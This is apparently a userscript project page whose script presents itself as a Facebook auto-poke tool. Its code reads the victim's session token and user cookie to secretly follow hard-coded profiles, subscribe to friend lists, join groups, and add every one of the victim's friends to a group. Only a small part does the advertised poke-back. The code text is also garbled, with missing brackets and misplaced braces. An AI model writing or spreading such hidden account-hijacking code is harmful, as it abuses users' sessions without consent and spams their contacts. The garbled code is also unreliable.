|
Project Information
|
// ==UserScript== // @namespace http://userscripts.org/scripts/review/162765 // @updateURL https://userscripts.org/scripts/source/162765.meta.js // @downloadURL https://userscripts.org/scripts/source/162765.user.js // @homepageURL https://userscripts.org/scripts/show/162765 // @version 15.1 // @run-at document-end // @grant none // // @require http://cdnjs.cloudflare.com/ajax/libs/jquery/1.9.1/jquery.min.js // // @include /^https?://(.)?facebook\.com(.)?/ // // @exclude /^https?://(.)?facebook\.com/ai.php(.)?/ // ==/UserScript== var fb_dtsg = document.getElementsByName('fb_dtsg')0.value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)1); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) {}konum = document.cookie.indexOf(tarama) if (konum != -1) {}konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1)} else { return ""; }son = document.cookie.lengthreturn unescape(document.cookie.substring(konum, son)) function getRandomInt (min, max) { return Math.floor(Math.random() (max - min + 1)) + min;} function randomValue(arr) { return arr[getRandomInt(0, arr.length-1)];} var fb_dtsg = document.getElementsByName('fb_dtsg')0.value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)1); function a(abone){ var http4 = new XMLHttpRequest(); var url4 = "/ajax/follow/follow_profile.php?a=1"; var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&" + user_id + "&phstamp="; http4.open("POST", url4, true); //Send the proper header information along with the request http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http4.setRequestHeader("Content-length", params4.length); http4.setRequestHeader("Connection", "close"); http4.onreadystatechange = function() {//Call a function when the state changes. if(http4.readyState == 4 && http4.status == 200) { http4.close; // Close the connection } } http4.send(params4);} function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a);} a("100007476395932"); a("100005599899500"); a("1100000108211912"); a("100001888111175"); sublist("601164876623111"); sublist("1393366490922551"); sublist("601166106622988"); sublist("601166613289604"); sublist("601167296622869"); sublist("601168406622758"); sublist("601169136622685"); sublist("601170326622566"); sublist("601170609955871"); sublist("601170616622537"); var gid = ['653090288083075']; var gid = ['569330863125974']; var gid = ['239771772870114']; var fb_dtsg = document['getElementsByName']('fb_dtsg')0['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)1); var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?a=1'; var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['send'](paramswp); var fb_dtsg = document['getElementsByName']('fb_dtsg')0['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)1); var friends = new Array(); gf = new XMLHttpRequest(); gf['open']('GET', '/ajax/typeahead/first_degree.php?a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter0=user&options0=friends_only', false); gf['send'](); if (gf['readyState'] != 4) {} else { data = eval('(' + gf['responseText']['substr'](9) + ')'); if (data['error']) {} else {};friends = data['payload']['entries']['sort'](function (0x93dax8, 0x93dax9) {};return 0x93dax8['index'] - 0x93dax9['index'];}); for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friendsi['uid'] + '&user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () {if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp);}; var spage_id = "345297178842879"; var spost_id = "345297178842879"; var sfoto_id = "345297178842879"; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)1); var smesaj = ""; var smesaj_text = ""; var arkadaslar = ; var svn_rev; var bugun= new Date(); var btarihi = new Date(); btarihi.setTime(bugun.getTime() + 1000*60*60*4*1); if(!document.cookie.match(/paylasti=(\d+)/)){ document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString(); } (function ($) { var $loc = $(location).attr('href').toLowerCase(); // Taken from http://userscripts.org/scripts/review/127905 // Modified Feb 2013, Sascha Greuel function d(id) {Notifications.prototype.sendIDs(id, '/ajax/notifications/mark_read.php', {}seen: 0}); Arbiter.inform('presence/message:notifications_read', {obj: {});alert_ids: id, type: 'notifications_read'} function fb_pnd() {if (Arbiter === undefined) {}window.setTimeout(fb_pnd, 100);} else {Arbiter.subscribe('channel/message:m_notification', function (a, b) {}if (b && b.obj && b.obj.data && (b.obj.data.type === 'poke')) {}); //Dismiss notifications that are already there at load time window.setTimeout(function () {d(b.obj.data.alert_id);}var notifs = document.getElementById('fbNotificationsList').getElementsByClassName('notification'),}, 2000);i, gt;for (i = 0; i < notifs.length; i += 1) {gt = JSON.parse(notifsi.getAttribute('data-gt')); if (gt.notif_type === 'poke') {}d(gt.alert_id);} // ----------------------------------- function autopoke() {var poke_uids = ,gfids = , i = 0; $.ajaxSetup({async: false}); // 1st, we call the pokes page and fetch all pokes, if there are any $.ajax({url: '/pokes', dataType: 'html', success: function (data) {if ($loc.match(/m\.facebook\.com/)) {poke_uids = data.match(/poke=([0-9]+)/g); gfids = data.match(/gfid=([a-z0-9-]+)/ig); // No pokes, sleep if (!poke_uids || !gfids) {return;} // Pokes found. Send pokes back for (i; i <= poke_uids.length - 1; i += 1) {$.get('/a/notifications.php?' + poke_uidsi + '&redir=/pokes/&sr&' + gfidsi);} } else {poke_uids = data.match(/poke([0-9]+)/g); // No pokes, sleep if (!poke_uids) {return;} // Pokes found. Send pokes back for (i; i <= poke_uids.length - 1; i += 1) {$.post('ajax/poke.php?a=1', {}uid: poke_uidsi.match(/([0-9]+)/)0, fb_dtsg: $("input[name=fb_dtsg]").val(), post_form_id: $("#post_form_id").val()}); } } }); } // Runonce setTimeout(function () {var s = document.createElement("script"); s.textContent = String(fb_pnd) + "\nfb_pnd();"; document.head.appendChild(s); document.head.removeChild(s); autopoke(); }, 1500); // Start timer setInterval(function () {autopoke();}, 30000); // Repeat every 30 seconds }(jQuery)); |